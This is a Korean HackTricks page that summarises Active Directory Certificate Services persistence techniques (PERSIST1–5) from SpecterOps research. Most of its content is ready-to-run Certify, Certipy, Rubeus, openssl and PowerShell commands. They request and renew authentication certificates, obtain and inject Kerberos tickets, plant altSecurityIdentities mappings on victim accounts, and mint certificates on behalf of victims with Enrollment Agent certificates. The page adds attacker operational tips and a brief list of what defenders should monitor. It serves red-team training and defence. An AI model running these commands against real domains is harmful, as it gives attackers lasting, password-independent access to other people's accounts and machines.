AD CS 계정 지속성

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

이 문서는 https://specterops.io/assets/resources/Certified_Pre-Owned.pdf 의 훌륭한 연구에 대한 계정 지속성 챕터들의 간략한 요약입니다

인증서를 이용한 활성 사용자 자격 증명 탈취 이해 – PERSIST1

사용자가 도메인 인증을 허용하는 인증서를 요청할 수 있는 시나리오에서는, 공격자가 이 인증서를 요청해 탈취함으로써 네트워크에서 지속성을 유지할 기회를 얻습니다. 기본적으로 Active Directory의 User 템플릿은 이러한 요청을 허용하지만, 경우에 따라 비활성화되어 있을 수 있습니다.

Certify 또는 Certipy를 사용하면 클라이언트 인증을 허용하는 활성화된 템플릿을 검색한 다음 하나를 요청할 수 있습니다:

# Enumerate client-auth capable templates
Certify.exe find /clientauth

# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User

# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx

certificate의 힘은 certificate가 유효한 한, password가 변경되더라도 해당 certificate에 속한 user로 authenticate할 수 있다는 점에 있다.

PEM을 PFX로 변환하고 이를 사용해 TGT를 얻을 수 있다:

# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt

# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10

참고: 다른 기법들(THEFT 섹션 참조)과 결합하면, 인증서 기반 인증은 LSASS를 건드리지 않고 심지어 비권한 상승 컨텍스트에서도 지속적 접근을 허용합니다.

인증서를 통한 Machine 지속성 획득 - PERSIST2

공격자가 호스트에서 권한이 상승된 상태라면, 기본 Machine 템플릿을 사용하여 침해된 시스템의 머신 계정에 대한 인증서를 등록(enroll)할 수 있습니다. 머신으로 인증하면 로컬 서비스에 대해 S4U2Self가 가능해지며 호스트에 대한 지속적인 영속성을 제공할 수 있습니다:

# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine

# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt

인증서 갱신을 통한 지속성 확장 - PERSIST3

인증서 템플릿의 유효 기간 및 갱신 기간을 악용하면 공격자는 장기간 접근 권한을 유지할 수 있습니다. 이미 발급된 인증서와 그 개인 키를 보유하고 있다면, 만료 전에 이를 갱신하여 원래 주체와 연결된 추가 요청 흔적을 남기지 않고 새롭고 장기적인 자격 증명을 얻을 수 있습니다.

# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx

# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]

운영 팁: 공격자가 보유한 PFX 파일의 유효 기간을 추적하고 조기에 갱신하세요. 갱신은 또한 업데이트된 인증서에 최신 SID 매핑 확장을 포함시켜 더 엄격한 DC 매핑 규칙 하에서도 계속 사용할 수 있게 할 수 있습니다(다음 섹션 참조).

명시적 인증서 매핑 심기 (altSecurityIdentities) – PERSIST4

대상 계정의 altSecurityIdentities 속성에 쓸 수 있다면, 공격자가 제어하는 인증서를 해당 계정에 명시적으로 매핑할 수 있습니다. 이 매핑은 비밀번호 변경에도 유지되며, 강력한 매핑 형식을 사용할 경우 최신 DC 강제 정책 하에서도 계속 작동합니다.

High-level flow:

  1. 자신이 제어하는 client-auth 인증서를 얻거나 발급합니다(예: 스스로 User 템플릿을 enroll).
  2. 인증서에서 강력한 식별자(Issuer+Serial, SKI, 또는 SHA1-PublicKey)를 추출합니다.
  3. 해당 식별자를 사용해 피해자 주체의 altSecurityIdentities에 명시적 매핑을 추가합니다.
  4. 자신의 인증서로 인증하면 DC가 명시적 매핑을 통해 이를 피해자 계정으로 매핑합니다.

예제 (PowerShell): 강력한 Issuer+Serial 매핑 사용:

# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map     = "X509:<I>$Issuer<SR>$SerialR"

# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

그런 다음 PFX로 인증하세요. Certipy는 TGT를 직접 획득합니다:

certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10

# If PKINIT is unavailable on the DC, reuse the same persisted cert via Schannel/LDAPS
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell

강력한 altSecurityIdentities 매핑 구축

실무에서는 Issuer+SerialSKI 매핑이 공격자가 보유한 인증서로부터 구축하기 가장 쉬운 강력한 형식입니다. 이는 February 11, 2025 이후 DCs가 기본적으로 Full Enforcement로 전환되어 약한 매핑이 더 이상 신뢰할 수 없게 되기 때문에 중요합니다.

# Extract issuer, serial and SKI from a cert/PFX
openssl pkcs12 -in attacker_user.pfx -clcerts -nokeys -out attacker_user.crt
openssl x509 -in attacker_user.crt -noout -issuer -serial -ext subjectKeyIdentifier
# Example strong SKI mapping for a user or computer object
$Map = 'X509:<SKI>9C4D7E8A1B2C3D4E5F60718293A4B5C6D7E8F901'
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
# Set-ADComputer -Identity 'WS01$' -Add @{altSecurityIdentities=$Map}

참고

  • 강력한 매핑 타입만 사용: X509IssuerSerialNumber, X509SKI, 또는 X509SHA1PublicKey. 약한 형식(Subject/Issuer, Subject-only, RFC822 email)은 더 이상 권장되지 않으며 DC 정책에서 차단될 수 있다.
  • 매핑은 사용자컴퓨터 객체 모두에 적용되므로, 컴퓨터 계정의 altSecurityIdentities에 대한 쓰기 권한만 있어도 해당 머신으로서 영속할 수 있다.
  • 인증서 체인은 DC가 신뢰하는 루트까지 구성되어야 한다. NTAuth의 Enterprise CAs는 일반적으로 신뢰되며, 일부 환경에서는 public CAs도 신뢰한다.
  • DC가 Smart Card Logon EKU가 없거나 KDC_ERR_PADATA_TYPE_NOSUPP를 반환하여 PKINIT가 실패하더라도 Schannel 인증은 영속성에 여전히 유용하다.

약한 명시적 매핑과 공격 경로에 대한 자세한 내용은 다음을 참조하십시오:

AD CS Domain Escalation

Enrollment Agent을 통한 영속성 – PERSIST5

유효한 Certificate Request Agent/Enrollment Agent certificate를 확보하면, 사용자들을 대신해 언제든지 새로운 로그온 가능한 인증서를 발행(mint)할 수 있고 에이전트 PFX를 오프라인에 보관하여 영속성 토큰으로 유지할 수 있다. 악용 워크플로우:

# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"

# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass

# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx

이 persistence를 제거하려면 에이전트 인증서 또는 템플릿 권한의 폐기(revocation)가 필요합니다.

운영 노트

  • 최신 Certipy 버전은 -on-behalf-of-renew를 모두 지원하므로, Enrollment Agent PFX를 보유한 공격자는 원래 대상 계정을 다시 건드리지 않고도 leaf 인증서를 발급하고 이후 갱신할 수 있습니다.
  • PKINIT 기반 TGT 검색이 불가능한 경우에도, 생성된 on-behalf-of 인증서는 certipy auth -pfx victim_onbo.pfx -dc-ip 10.0.0.10 -ldap-shell와 같이 Schannel 인증에 여전히 사용할 수 있습니다.

2025 Strong Certificate Mapping Enforcement: Persistence에 미치는 영향

Microsoft KB5014754는 도메인 컨트롤러에 Strong Certificate Mapping Enforcement를 도입했습니다. 2025년 2월 11일 이후로 DC는 기본적으로 Full Enforcement 모드로 설정되어 약하거나 모호한 매핑을 거부합니다. 실무적 영향:

  • Pre-2022 인증서 중 SID mapping extension이 없는 경우 DC가 Full Enforcement일 때 암시적 매핑이 실패할 수 있습니다. 공격자는 AD CS를 통해 인증서를 갱신( SID 확장을 얻기 위해)하거나 altSecurityIdentities에 강한 명시적 매핑(PERSIST4)을 심어 접근을 유지할 수 있습니다.
  • Issuer+Serial, SKI, SHA1-PublicKey 같은 강한 형식을 사용하는 명시적 매핑은 계속 작동합니다. Issuer/Subject, Subject-only, RFC822 같은 약한 형식은 차단될 수 있으므로 persistence 용도로 사용을 피해야 합니다.

관리자는 다음을 모니터링하고 경고해야 합니다:

  • altSecurityIdentities의 변경과 Enrollment Agent 및 User 인증서의 발급/갱신
  • on-behalf-of 요청 및 비정상적인 갱신 패턴에 대한 CA 발급 로그

참고자료

  • Microsoft. KB5014754: Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
  • SpecterOps. ADCS ESC14 Abuse Technique (explicit altSecurityIdentities abuse on user/computer objects). https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/
  • Certipy Wiki – Command Reference (req -renew, auth, shadow). https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
  • Almond Offensive Security. Authenticating with certificates when PKINIT is not supported. https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기